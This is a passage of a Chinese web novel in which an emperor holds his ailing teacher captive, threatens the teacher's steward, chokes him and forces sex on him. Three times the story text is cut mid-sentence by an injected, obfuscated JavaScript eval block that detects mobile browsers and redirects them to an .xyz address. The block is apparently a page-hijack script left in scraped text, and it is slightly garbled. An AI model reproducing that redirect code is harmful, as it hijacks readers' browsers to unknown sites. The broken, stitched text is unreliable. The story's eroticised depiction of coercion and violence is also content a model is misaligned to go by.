宿泱顿时怔在了原地,他望着林怀玉良久,自嘲一笑:“林怀玉,你的心里有那么多人,梦里念叨的是你的管家,那朕呢?朕究竟在哪里?你明明在朕的身边,梦里却也不肯念叨一下朕的名字。” 林怀玉又小声嘟囔了句什么,宿泱也没听清楚,他只知道,这样的林怀玉显得很脆弱,和平日里的那个林怀玉太过不同。 林怀玉从来没有在人前显露出一丝脆弱的时候,哪怕知道他身子不好,可所有人见到他的时候都会忽略掉这件事。 而现在,林怀玉却缩在被子里意识都模糊着,说出来的话如同不会开口的婴儿,咿咿呀呀却辨不清他想说什么。 宿泱后悔了,他不应该那样粗暴地对待林怀玉。 林飞接到旨意进宫的时候还有些懵,他已经一个多月没见到他家大人了,也不知道陛下这次为什么留大人在宫里这么久。 不过他也不敢耽搁,收拾了一下东西便跟着德福进了皇宫。 “公公,我家大人在宫里住得好吗?”林飞跟着德福在偌大的皇宫里走着,他并未四下张望,只是低声询问林怀玉的近况。 德福笑着道:“自然是一切都好。” 林飞这才微微放下心来:“那就好。” 想想也是,林大人可是陛下的老师,堂堂丞相,谁敢对他不敬,就算是陛下也得恭恭敬敬伺候着,一定是他多虑了。 只是这颗放下的心在踏入沁春宫的那一刻便彻底碎了。 沁春宫虽然奢华,比起丞相府简直是小巫见大巫,可它更像一座牢笼,金丝牢笼困住了床榻上的人,将那人的生气都折磨殆尽,只剩一具空荡荡的尸体。 林飞站在门口看着床榻上躺着的人影,厚厚的被褥盖在林怀玉的身上,都快看不见林怀玉的呼吸起伏。 像纸扎的一般,风一吹就散了。 林飞回过神连忙跑到了林怀玉的床边,急促的呼唤他:“大人,大人,你醒醒。” 他看着林怀玉脸色不对劲,伸手碰了碰对方的额头。 “嘶——”林飞迅速抽回了手。 好烫,这样的温度,他家大人会被烧坏的吧! 他正想找德福公公,床上的林怀玉睫毛轻颤,似乎醒了。 林飞连忙又回身喊他:“大人!” 林怀玉听到了管家的声音,恍惚了半天,才悠悠醒转,看到床榻边的人影,不禁问:“你怎么来了?” 林飞听着林怀玉哑了的嗓音,顿时眼泪都下来了,他家大人什么时候这么虚弱过,进宫这一个多月,到底是受了什么折磨?! “大人?您怎么样?到底怎么回事,谁把您弄成这样的?奴才帮您告诉陛下去!”林飞心疼地看着林怀玉。 林怀玉眼眸一垂,淡声道:“不用了,我没事。” “您这还没事?!”林飞惊呼了起来,“您声音都哑了,身上还滚烫滚烫的,搞不好到时候脑子烧坏了怎么办?宫里的太医呢,怎么不给您医治?” 林怀玉轻笑了一下:“看过了,去配药了,你怎么进宫来的?” 林飞自觉答话:“是陛下宣奴才进宫来照顾您的。” 林怀玉微弱的点了一下头,勉强撑着身子坐起来,林飞见状连忙扶他靠在枕头上。 林怀玉问他:“我要的东西带来了吗?” 林飞点了点头,抹了一把眼泪,从衣怀里掏出了一个绣得十分精致的锦囊,递给林怀玉。 林怀玉接了过来,打开锦囊,里面赫然是一枚护身符,背面还写着宿泱的名字。 林怀玉又将锦囊合上,扶着床柱下床,林飞见状,又连忙将人扶着走。 林怀玉将锦囊放入了柜子下面的抽屉里,不过是走了两步,便觉得眼前一片眩晕,又低声不断地咳了起来。 林飞替他顺气,一边噘着嘴道:“大人既然在宫里待着不舒服,不如回林府吧,这皇宫看着又大又冷清,大人若是没什么要紧事,离开这里回去养病吧。” 14.第 14 章 初春的风还带着些寒霜,在院子里盘旋,钻入门口站着的龙纹锦袍之中。 明明已经不是冬月里透骨的冷,宿泱却觉得遍体生寒,他好像做了一个错误的决定,把一头狼亲手送到了林怀玉的身边,而这只狼要在他的眼皮子底下抢走林怀玉。 宿泱闭了闭眼,将眼底的阴沉压下,只是他周身的气压低得难以掩藏,德福都不敢走在他旁边。 宿泱走到门框边,带着冷意嘲讽般笑了一声:“你要带你家大人去哪儿啊?” 林飞回头一看,龙纹朝服还未换下的天子正背对的日光,满身阴沉地站在不远处,那目光盯着他犹如凶兽望着即将被自己拆吞入肚的猎物。 那一瞬间,林飞后脊惊出一身冷汗。 这就是天子的威压吗,也太恐怖了。 林飞顿时扑通跪在了地上:“参见陛下!” 宿泱也没让他起来,掠过他走进门,将目光移向了林怀玉:“想出宫?” 林飞没有抬头,不敢与天子直视,故而以为宿泱还在问他,于是连忙答话:“我家大人许是在宫里不太熟悉,奴才想着把大人接回丞相府,说不定对大人养病有好处。” “在宫里不太熟悉?”宿泱一字一顿地重复了一遍这句话,嗤笑了一声,问林怀玉,“老师不熟悉哪里?朕带你去。” 林飞觉得自己一定是太紧张了,说的话不太清楚,怕宿泱迁怒林怀玉,于是连忙解释道:“是奴才口不择言,奴才想说的是,大人在宫里没有照顾他的人,所以可能不太习惯宫里,在丞相府奴才还能照顾大人,病也就好得快些。” 宿泱一扯嘴角,特地问道:“在丞相府都是你照顾老师的?” 林飞没有听出宿泱语气里隐忍的占有欲,只老实道:“是,奴才对丞相的身体情况了解一些,所以让奴才来照顾大人想必大人一定很快就能好起来。” 宿泱闻言,唇角挑了起来,语气越发沉了下去:“你了解老师的身体……情况?有多了解?” 不等林飞回答,宿泱的眸光又紧紧盯着林怀玉,问:“有朕了解你吗?” 林怀玉瞥了他一眼,没有答话,林飞低着头更是不知道该怎么回答了。 陛下这问的……什么啊? 宿泱好整以暇地望着林怀玉,又问:“宫里没人照顾老师吗?朕不是一直在照顾你吗?” 林飞顿时哑了,他不知道啊……怎么陛下亲自照顾大人吗?那他又说错话了。 林怀玉看着战战兢兢的林飞,轻叹了一声,对宿泱道:“小飞只是关心臣,陛下何苦为难他?” “朕为难他?”宿泱顿时语气一重,他走到林怀玉身侧,视线仿佛带着侵占,“他想把你从朕身边带走,你却还为他说话?林怀玉,你一直都想离开朕,是吧?” 林怀玉蹙起了眉头,他瞥了一眼跪着的林飞,想要阻止宿泱继续胡说八道:“陛下,臣终究是要回去的,早一点晚一点有什么区别,你已经不是小孩子了。” 宿泱深深看了林怀玉一眼,问:”老师非要走吗?” 林怀玉觉得,宿泱问出这句话一定没什么好事,但他这会儿也并不想欺骗宿泱,只能委婉道:“陛下,臣说过了,臣没法陪你一辈子的。” “是吗?”宿泱语气有些淡,随即他瞥了林飞一眼,冷冷道,“那朕就杀了他,他死了,老师就只剩下朕了吧。” 林怀玉一愣,听到了林飞在旁边喊:“陛下饶命!” 他张了张口,没能说话,眩晕感再一次朝他袭来。 林飞虽然只是他的管家,但真要说起来,他在京城如今也只剩林飞还会同他说说话,会在意他。 这些年朝中众人对他避之不及,敬他畏他又想他死,没有一个能够称得上“朋友”的人,也没有一个能够交心的人。 宿泱说的对,他在京城举目无亲,哪里有什么家可回的。 林怀玉缓缓望向林飞,这孩子还是他在街上捡回来的,一个从他乡流浪到京城的小乞丐,在雪风中望着包子铺,让林怀玉一瞥就想起了曾经的自己。 他把林飞带回了林府,给了这孩子一个安身之所,原本倒是没指望什么,不过是救人一命罢了。 不过林飞倒是个知恩图报的,一直在林府替他操持府中的起居,也自愿做起他的车夫,关于他在林府的一切,都是林飞亲力亲为。 林怀玉身子不好,林飞也时常会照顾他,关心他。 真要算起来,林飞也是他半个家人。 林怀玉只好开口:“小飞只是关心臣,陛下……请陛下放了他吧。” 宿泱听着林怀玉语气缓和,眉头一挑,语气带着凉意:“老师这是在求朕?” 林怀玉又看了林飞一眼,抬眸对上宿泱戏谑的视线,眸光一点点沉了下来:“臣,求陛下放了臣的管家。” 宿泱的脸色陡然一沉,他踹了林飞一脚,怒喝道:“没听见吗?还不滚?!” 林飞吃痛倒在地上,却没有立刻就走,他自然能察觉到宿泱的怒意,只能担忧地望向了林怀玉,却见自家大人朝他递来了一个宽慰的眼神,他顶着宿泱要杀人的目光,犹豫了一下才连滚带爬出了门。 可就在他出门的时候,门外的德福将房门带上了,隔绝了里头的一切声音。 林飞放心不下,并未走远。 林怀玉见房门关上,反倒松了一口气,他正要开口,却被宿泱逼到了柜子前面,退无可退。 宿泱的声音低沉,带着隐忍:“林怀玉,你居然为了他,开口求朕?!” 林怀玉羽睫轻颤,如实道:“臣在京城没几个人能说上话了,林飞无辜,不该被臣牵扯,陛下莫要为难他。” 宿泱听着林怀玉字字句句不离林飞,气急:“他就这么重要?啊?!” 江山社稷在他前面,人民百姓在他前面,那些大臣之子在他前面,现在就连一个管家都在他前面,林怀玉到底是有多么不在乎他! 林怀玉轻轻摇头:“臣已经没有家人了,小飞是臣在京城唯一相熟的人了,陛下,放过他吧。” 林飞会让他想起他和宿泱初见的那个雪夜,有时候和林飞说话,都让他想到尚且年幼的宿泱。 更何况,林飞属实是无辜的。 宿泱闻言,却是自嘲般低笑了一声:“好啊,你想让朕放过他,那自己来跟朕换,林怀玉,你不是很在意他们这些人的命吗,那用你来换也不亏吧?一次换一条命,很划算。” 林怀玉看着宿泱,眼底染上了一层无奈,眩晕感没有丝毫减弱,反而因为刚刚退了几步撞在柜子上,这会儿更晕了,看宿泱的脸都带了些重影。 他没有说话,宿泱便又嗤笑了一声:“怎么?不愿意?他不是对你来说很重要吗?老师果然还是清高。” 林怀玉并没有听清宿泱的冷嘲热讽,只是在宿泱退开一步开口喊出“德”字后,林怀玉立刻攥住了宿泱的衣袖:“别。” 宿泱果真没再出声,只是静静地看着林怀玉。 林怀玉犹豫了许久,最终还是叹了口气,伸手缓缓脱掉了自己的外袍,墨色长袍落地,林怀玉里面没穿别的衣服,尽数摆在宿泱面前,真到此刻,心中竟无比平静。 可宿泱像是被点着了似的,一下就跳了起来,原本还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610572|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 靠在桌边戏谑地看着林怀玉,这会儿却像是被人捏住了七寸,气得眼眶都发红,他两步走到林怀玉面前,一把扼住了林怀玉的脖颈:“林怀玉!你竟然为了他做到这个份上?!” 林怀玉被他抓得疼,眼前瞬间黑了一下,他感受到宿泱无与伦比的怒意,比之前所有的怒意都要更盛。 林怀玉不明白,他都是按照宿泱想要的做的,宿泱怎么能发这么大的火呢? 林怀玉的手下意识攀住了宿泱,可他的手上根本没有力气,也无力阻止宿泱捏着他的脖颈越收越紧。 可宿泱没有发觉林怀玉的虚弱,怒吼着:“他是你的家人,那朕呢?朕算什么?你为了他连这种事也能答应朕?他对你来说这么重要吗?” 宿泱这会儿快疯了。 林怀玉他怎么敢!他竟然为了一个外人不惜抛掉尊严,心甘情愿地被他羞辱,不惜脱掉衣服求他,也要让他放过林飞! 这林飞不就是一个管家吗?有那么重要吗? 宿泱也不知道自己究竟在疯什么,他只知道他根本不想林怀玉为了不相干的人对他求饶。 “是因为朕把你身边的人都赶走了,老师觉得太孤单了,所以连一个管家也能被你当做家人是吗?”宿泱不甘心地问,“那朕呢?朕不是你的家人吗?朕想要你陪朕过年你都不肯,是因为林飞在家里等你是吗?” 林怀玉在宿泱一声声暴怒的质问中逐渐喘不上气,不过好在宿泱没有彻底失去理智,在林怀玉即将窒息时,一下松开了他。 林怀玉撑着柜子剧烈地咳嗽了起来,生理性的泪水夺眶而出,只是没等他缓一缓,就被宿泱重新攥住。 “怎么不说话?”宿泱紧紧盯着林怀玉,眼底满是怒意,“你既然那么在意他,朕偏不让你如意,林怀玉,没有人能从朕身边将你带走,朕会杀了他,你的身边只有朕,也只能有朕。” 林怀玉一个字也没听进去,只听见宿泱还是要杀了林飞,他此刻心力交瘁,身上的不适还在加重,呼吸都是滚烫的,意识模糊间,他对宿泱道:“求陛下,放过林飞……” 他知道宿泱想要什么,也知道宿泱想听什么。 然而宿泱听到林怀玉的这句话,怒意直冲云霄,他一手掐住了林怀玉的腰,一边恶狠狠地质问:“林怀玉,你为了他求朕?” 他冷笑了一声,带着无尽的讽意:“你凭什么觉得,你求朕,朕就一定会答应?” 林怀玉勉强保持着一丝清醒,问:“那陛下要如何才能放过林飞?” 宿泱气得五脏六腑都发紧,他将林怀玉狠狠揉进怀里,仿佛如此才能感受林怀玉的心跳,才能感觉到他和林怀玉如此近:“林怀玉,你只是朕的禁.脔,你有什么资格求朕?” 林怀玉推着他,想要把人推开,可又想起自己这会儿正要求宿泱放人,只好又垂下手:“不是陛下要臣求你吗?” 宿泱哼了一声,轻蔑道:“可你没让朕尽兴啊,林怀玉,从此刻起,朕不许你求饶,一会儿不论朕做什么,你都不许求饶,否则你的小管家就会死无葬身之地!” 宿泱都这般说了,林怀玉自然也就闭上了嘴,他这会儿本就不想多说,身心俱疲,若不是宿泱撑着,他早就站不住了。 只是他不说话,宿泱仍旧不满意,将他整个人托了起来,从柜子旁边抱到了桌子上,林怀玉的脑袋被颠得意识模糊,偏偏这种情况下又睡不着,却也没有彻底昏过去。 意识拉扯着他如同被一根丝线悬着,难受到想吐。 宿泱却仍旧紧贴着他,在他通红滚烫的耳边低声道:“老师发着热,里面竟也是如此滚烫。” 15.第 15 章 模糊的意识被理智与沉沦拉扯着,如同海水倒灌,将林怀玉死死拖入海底,周遭的一切都变得遥远,可又在他沉入的下一瞬间被一只大手猛的捞起。 林怀玉吃了痛,闷哼了一声,随即想起屋外还有人,顿时咬住了自己的下唇。 宿泱见他这副模样,更是怒不可遏。 “老师这般在意林飞的看法吗?是怕林飞知道老师在宫里日日被朕欺辱,毁了你在他心中的形象吗?” 林怀玉轻轻摇头,他的脸因为生病而染上不自然的红晕,薄唇却发着白,可即便如此,林怀玉也没有哼一声,为自己求一次情。 这样的林怀玉便是让宿泱更为生气,可看着林怀玉气若游丝的模样,宿泱的力道又轻了下来。 他恨死林怀玉了,林怀玉可以为百姓求情,为那些不相干的人求情,为一个管家求情,却不知道为自己求求情。 左右都已经求饶了,怎么就不能为了自己开口求他呢? 只是这回宿泱心底再气,看着林怀玉咬唇蹙眉的模样,知晓对方难受,不由得还是心软了一些。 林怀玉感受到自己没有被逼的更紧了,心底缓缓松了口气,低声道:“陛下消气了吗?” 宿泱眉头一挑,轻哼了一声,并未接话。 林怀玉便只能自己接下话:“若是陛下消了气,便放林飞出宫吧。” 宿泱原本的怒意确实因为林怀玉的虚弱而散了几分,只是现在听林怀玉又提起林飞,怒意又蹿了上来。 他当下便道:“老师明明同朕紧紧合在一处,却还惦记着其他男人?林怀玉,你就是如此三心二意,寡廉鲜耻吗?” 林怀玉烧得喉咙里一丝水液也没有了,本就哑了的嗓子这会儿更是说不出话,偏偏宿泱听不到答案,还在旁边曲解:“出宫?老师只记得出宫,怎么?难道你觉得朕会把林飞也软禁在宫里?” 林怀玉不肯说话,宿泱却非要逼他开口,说的话也更加恶劣:“朕要的只有你,你以为人人都如同你这般勾引人吗?” 林怀玉已经不想同宿泱再争辩这件事,他现在只想宿泱放过林飞,他也好安心,哪怕失去意识,也不至于悬着一颗心不上不下。 “所以,陛下能够放过林飞了吗?”林怀玉哑着嗓子,勉强又问了一遍。 只是掐着他腰的力道骤然收紧,宿泱瞪着他,怒道:“你怎么还在想他?哦,朕想起来了,你不就是为了他才同朕求饶的吗?既然如此,那就让他听听,他心底无比尊敬的林大人,在屋子里同自己的学生做一些什么苟且的事吧!” 林怀玉纵然这会儿神智不太清醒,但听到宿泱这话,立刻想到这疯子可能会做些什么。 比如打开那扇门,将他们二人现下的场景暴露在众人的面前! 宿泱曾不止一次这样威胁过他,也确实打开过门。 所以当他的后背被狠狠撞在门上时,林怀玉差点哼出了声。 可理智又死死攀着他,让他咬住了自己的唇。 这样大的动静,外面的人不可能听不到。 他没办法再自欺欺人了。 林怀玉抬手想要挡住自己的眼睛,可宿泱却攥住了他的手腕,沉声道:“林怀玉,别求饶,朕要你叫出来。” 他故意将林怀玉往门上抵,故意将动静闹得很大,沁春宫的门好似要被宿泱拆下来,林怀玉在门可能会被打开,他会以这副狼狈不堪的模样出现在众人面前的恐惧中攥紧了宿泱,企图离那扇门远一些。 而这样的动作便会让林怀玉主动贴近宿泱,这个举动倒是令宿泱分外满意。 宿泱抱着最终晕过去的林怀玉,抵在门边,眸光深沉。 他就是要让所有人都知道,林怀玉是属于他的,独属于他一个人的,任何人都别想觊觎。 宿泱感受着怀里人的滚烫,理智逐渐回笼,林怀玉烧得太厉害,再这样下去恐怕真的会烧坏。 他将人轻轻抱到床上,扯了被子盖好,又绞了块帕子敷在林怀玉额头。 接着便喊了周历过来问诊。 药早早送了过来,只是宿泱看着抿唇无意识的林怀玉犯了难。 这要如何才能让林怀玉把药一滴不剩地喝下去呢? 他坐在床榻边将林怀玉抱起来,让对方靠在自己怀里,他舀了一勺子药递到了林怀玉的唇边:“老师,张嘴。” 可林怀玉就像没听见似的,一动不动。 宿泱用勺子撬开林怀玉的软唇,却撬不开对方的牙关,那药也送不进林怀玉的口中。 宿泱拧了眉头,一只手扼住林怀玉的下颌,迫使对方张口,将药灌了进去。 只是这一次,林怀玉失去意识,根本没有吞咽,药汁顺着唇角淌了出来,湿了林怀玉的衣领。 宿泱连忙替他擦拭唇角,又舀了一勺药,威胁道:“林怀玉,你再不喝药,知道后果吗?” 怀里的人却始终没有动静。 那一瞬间,宿泱的心跳声震耳欲聋,他不知道自己的心为什么跳得这么快这么乱。 他得不到林怀玉的回应,急了起来,将药含在自己口中,掰过林怀玉的头,嘴对嘴将药渡进林怀玉的口中。 只可惜林怀玉仍旧没有将口中的药咽下去。 一时间宿泱竟束手无策,他只能眼睁睁看着林怀玉呼吸微弱,浑身滚烫地陷入昏迷中。 难道要叫林飞来照顾林怀玉吗? 要他承认林飞才是那个能够好好照顾林怀玉的人,而他什么都不会? 岂有此理! 宿泱一想到林怀玉昏过去之前都还在想着林飞,他一点儿也不想把林飞叫过来照顾林怀玉。 宿泱再次舀了一勺药送入自己口中,重新渡进林怀玉的嘴里,这次他没有立刻松开林怀玉,而是用另一只手摸上了林怀玉的喉结,轻轻按压着敏感脆弱的喉结。 好在这个方法起了效果,林怀玉果真松了喉口,将药汁咽了下去,即便是昏迷的林怀玉,仍旧被药汁的苦涩激得皱起了眉头,甚至还躲了躲宿泱的下一勺药。 宿泱被林怀玉这孩子气的模样愉悦到了,他喜欢看林怀玉的所有样子,尤其是那些不在外人所知的模样。 只是一想到这样的林怀玉,林飞也见过,宿泱的脸色当即又沉了下来。 他用刚才的方法,继续喂林怀玉喝药,按着林怀玉的喉结却微微用了力道,林怀玉眉头拧得更深,却也只能被迫吞咽着苦涩的药汁。 林怀玉这风寒来势汹汹,又被宿泱狠狠一番折腾,昏迷了两日才醒过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616881|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 睁开眼睛的那一刻,林怀玉仍觉得天地倒转了一瞬,不过好在很快便恢复了,身上仍旧觉得疲倦,却比他昏迷之前要好太多。 林怀玉缓缓移了移目光,床边的人看到他醒来,顿时喜极而泣:“大人!您终于醒了!呜呜呜呜呜……” 林怀玉看见林飞,眸光却闪躲了一下。 他没忘记宿泱那天把他按在门上,隔着一扇门闹出来的动静,林飞不可能没听见。 林飞不过是个孩子,他要怎么面对林飞呢…… 林怀玉难得失了所有对策,闭上眼睛竟有那么一瞬间想要逃避。 可林飞浑然不觉林怀玉此刻内心的复杂,只是疑惑地望着他:“大人?您是哪里不适吗?我再去叫太医!” 他转身要跑出去,林怀玉才开口阻止他:“不必。” 喉咙有些痛,不是里面疼,而是外面疼,像是有什么东西用力碾过他的喉结,差点将他的喉结碾碎。 他抬手轻轻揉了揉喉结,林飞见状,顿时红了眼眶:“大人,您在宫里过得一点儿也不好,您可是陛下的老师啊,他怎么能这么对您呢?!” 林怀玉闻言,整个人一僵,他垂了眸光不敢去看林飞,只淡淡道:“你……你都听到了。” “是啊!”林飞一脸怒意,为林怀玉鸣不平。 林怀玉抖了抖眼睫,呼吸都仿佛哽在喉头。 他一时无言,却听到林飞义正言辞道:“陛下就算是天子,也不能这般对待恩师啊!他怎么能打您呢!一日为师终身为父,况且您还生着病呢!” 林怀玉一愣,以为自己听错了,重复道:“打我?” 林飞狠狠点头:“是啊!陛下是不是把大人您推门上了?还是砸了什么东西在门上?奴才其实没听见多少,只听见有什么东西撞在门上,就被德福公公带下去了,是不是奴才惹怒了陛下,陛下迁怒您了?都怪奴才不好……” 不知怎的,林怀玉突然松了一口气。 林飞没有听见全部,是宿泱吓唬他。 林怀玉缓了缓僵硬的神色,对林飞道:“陛下……并未打我。” 林飞瘪了瘪嘴:“可是他不让大人您回家,他都要立后了,大人留在后宫做什么呢?” 林怀玉冷淡的神色忽的一顿,他的眸光移向林飞,问:“陛下要立后?” 林飞点头:“是啊,诏书都下了,应该是确定了吧。” 林怀玉眸光一垂,拢了拢指尖,又问:“皇后……是谁?” 林飞却摇了摇头:“这个奴才就不清楚了,大人大人,咱们还是回府吧。” 林怀玉望向了窗外,思绪飞远了一会儿,好半天他才道:“小飞,陛下会放你出宫的,你先回去吧。” 林飞看着林怀玉,他家大人兴致缺缺,总觉得看着还比以前更加清瘦了,脸色也苍白的,好似门外的风会随时将林怀玉吹散。 他不由得心中一紧,问:“那大人您呢?” 林怀玉的目光重新落到林飞身上,眼底是林飞以往见过的运筹帷幄:“我有事需要你去办。” 林飞顿时担忧道:“那大人您怎么办?您不同奴才一起出宫吗?” 林怀玉轻轻摇头,低咳了两声:“大人能不能出宫,就看小飞的了。” 16.第 16 章 宫外的天气格外好,碧空如洗,蓝天白云仿佛是画中所见,无雪也无雨,冬天总算要彻底过去了。 林飞驾着马车从宫门口回林府,他没能将林怀玉接回家,来的时候只有他一个人,回去的时候也只有他一个人。 人影渐渐远去,德福收回了目光,轻轻叹了一声,转身回去。 只见沁春宫里那道单薄的身影倚在床边,煎好的药摆在一旁动也未动。 德福好心劝道:“林大人,您身子不好,还是喝了药保重身体吧。” 林怀玉只是看了一眼天色,问德福:“小飞出宫了?” 德福点了点头:“是啊。” 林怀玉便没再说什么,德福见劝不动他,只好退下。 毕竟连陛下都无可奈何的人,他一个做奴才的哪有那本事真让林怀玉听他的呢。 只是林大人不喝药,等陛下回来看到,难免又是一通争吵。 宿泱进门的时候,确实一眼就看到了已经凉了的药,他神色不变,走到了床边,语气有些凉:“朕听说药凉了更难喝,老师想尝尝吗?” 林怀玉连一个眼神也没分给那碗药,只是望向宿泱,问:“陛下要立后了?” 宿泱听到林怀玉质问他,扯了扯嘴角,眉眼间染上了一愣笑意:“老师很在意这个吗?” 林怀玉的眼中却没有半分笑意,既无喜悲也无忧乐,仿佛只是在同宿泱询问早朝一些事宜。 他坐正了一些,认真道:“陛下倘若真的要立后,那么臣也是时候离宫了,臣毕竟只是个外臣,皇后入主后宫,臣在这里恐怕不妥,还请陛下恩准。” 宿泱眼底的笑意顿时淡去,唯有唇角的弧度未曾落下,显得有些冰凉:“原来你又是为了说这个,好啊,那朕告诉你,你在后宫并无不妥,朕早就说过了,你是朕的脔宠,即便日后有皇后在,也并不影响你在这里。” 林怀玉难以置信地看向了宿泱,好半天才问:“皇后是谁?” “哦,老师还不知道呢。”宿泱又笑了起来,他喜欢看林怀玉在意的模样,他想林怀玉在意他,“皇后自然是白大将军的嫡女,白见青。” 意料之中。 林怀玉其实在听到林飞说宿泱立后之时就已经猜到宿泱立后之人会是白见青。 没等他开口,宿泱看着林怀玉眸光微垂,神色冷淡的模样,忽然又觉得生气。 可他还要装作不在意的模样,刺激林怀玉:“朕记得老师对白见青的评价颇高,既然她能入老师的眼,得老师的喜欢,想来是不错的,老师说是吧?” 林怀玉听得出宿泱语气中的阴阳怪气,不由得皱眉:“同我有什么关系?立后一事,陛下喜欢便好。” 宿泱讨厌林怀玉又变成那副毫不在乎的模样,他都要立后了,这个人怎么还一副无所谓的模样呢? 他敛了笑意靠近林怀玉,恶劣道:“老师毕竟是朕的老师,算得上是朕的长辈,封后大典不如就由老师来操办,届时由老师来为朕与皇后主持大典,见证朕的大婚,如何?” 林怀玉面色苍白,窗边的光正好打在他的脸上,将他那张白皙的脸打成了透明,他冷声道:“臣身体不适,陛下大婚还是交给礼部吧,臣便不参与了。” 宿泱眸光一沉,倾身压近林怀玉,压迫感将林怀玉逼在床柱间:“老师便是身子不好也要尽心尽力操持春闱,到了朕这里就不参与,老师还真是一点也不在意朕呢。” 他又在林怀玉耳边低声道:“可朕偏要你去,老师不仅要去,还要亲手替朕将皇后金印送给朕未来的皇后,也不知道那么近的距离,朕未来的皇后能不能看到老师这一身独属于朕的痕迹?” 林怀玉猛的瞪向宿泱。 宿泱看着林怀玉脸上的清冷终于被他打破,不由得挑起了唇角,他伸手抚过林怀玉的衣领,一寸一寸往下移,一边继续道:“满朝文武在场,岂知堂堂丞相,天子之师,衣冠楚楚之下却是个早就被朕的气息浸透了的脔宠呢?明明都被朕弄得不成样子了,却还要替朕主持大婚,林怀玉,你真是毫无廉耻。” 啪! 宿泱被打得撇过了头,伸手碰了碰发烫的脸颊,低笑了两声。 林怀玉被宿泱气得眼眶发红,他终究没忍住给了宿泱一巴掌,又撑着身子下了床,随手拿起了一旁不知用处的竹棍:“宿泱,我何时教过你这般羞辱老师的?” 宿泱转头望向林怀玉,眸光落在了细棍上,扯了扯嘴角:“老师是要打朕吗?” 即便是幼时,林怀玉也不曾打过他,如今林怀玉却为了白见青要打他! 宿泱眼底好似蕴了一场暴雨。 林怀玉此刻哪管宿泱的脸色阴不阴沉,只想好好教训走歪了的学生:“立后一事非同小可,陛下若是真心喜欢白姑娘,臣自然会祝福陛下,可若是陛下只是为了羞辱臣,并非真心喜欢白姑娘,那便不要糟践了人家,凭白毁了人家的一生!” 宿泱伸手握住了林怀玉指着他的竹棍,好似握住了一把锋利的长剑,他眸光好似淬了一层寒冰,冷得可怕,周遭的气压也迫得人喘不上气来,不过片刻,林怀玉手里的竹棍便被宿泱折成了两截。 宿泱捏着林怀玉的手腕,好似当做那截竹棍要一同捏碎:“林怀玉,你可真在乎她,为了她要打朕,还为了她训斥朕。” 他自嘲般一笑,又道:“也是,反正所有人都比朕重要,在你心里,朕就是一个暴君,你现在是不是觉得特别失望,费尽心思却教出来一个暴君?” 林怀玉感觉自己的手要被宿泱折断了,他忍着痛皱起了眉,手中半截竹棍也落在了地上,被宿泱碾在脚下。 林怀玉看着宿泱,眼底多的是无奈,而非失望:“我确实希望,你能够成为一位明君,天下百姓也需要一位明君。” 宿泱嗤笑了一声:“果然,林怀玉,你从来都不在意朕,你连想要离开的心自始至终都那么强烈。” 林怀玉摇了摇头:“陛下不该对臣有太多的眷恋,既然要成婚了,还是放臣离开吧。” 宿泱不肯松手,攥着林怀玉的手腕越发用力:“老师是因为吃醋吗?如果你说,你不想朕立后,你说你在意朕,朕可以不立后,不同白见青成婚。” 林怀玉狠狠将手从宿泱手中抽离,白皙的手腕上顿时擦出一片红色的痕迹,他垂在身侧,宽大的衣袖挡住了手上的擦伤:“宿泱,立后之事不是儿戏,你到底明不明白,圣旨一下,岂容你说不要就不要?你让世人如何看待白姑娘,如何看待白府,又如何看你?” 宿泱的眼中却染上了一层疯狂,他不喜欢林怀玉带着疏离和敌意的目光看着他,更不喜欢林怀玉的口中,每一句都在说别人如何,他攥着林怀玉的手,将人摔到桌上,神情狰狞:“朕不在乎!” 林怀玉原本还平静冷淡,这会儿怒意也上来了,直道:“我在乎!” 宿泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15618937|171616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣了愣,随即又自嘲般笑了一声:“老师在乎的不过是面子,他们的名声,什么大全,什么大局,你从来在乎的都不是朕。” 林怀玉听着宿泱自贬的话语,顿时皱起了眉头:“我何时不在乎你了?我就算是死还要为你铺好后路……” 宿泱立刻打断了他的话:“谁要听你这种假惺惺的话,老师真的在乎朕,却一个劲要离开朕,连一句留下都不肯说,林怀玉,你真是虚伪。” 林怀玉张着嘴却一时说不出话,有那么一瞬间,他觉得他和宿泱之间好似真的没什么话说了。 可明明,他还有很多事要跟宿泱交代的,他应该和宿泱坐在一起,处理各种朝中事务,将那些蠹虫连根拔起,在他剩下的日子里,把他所有能教给宿泱的都教完。 而不是……像现在这样,日日争吵与羞辱。 林怀玉突然觉得有些累,于是摆了摆手,面带倦意:“罢了,你想做什么便做什么吧,我教不了你了。” 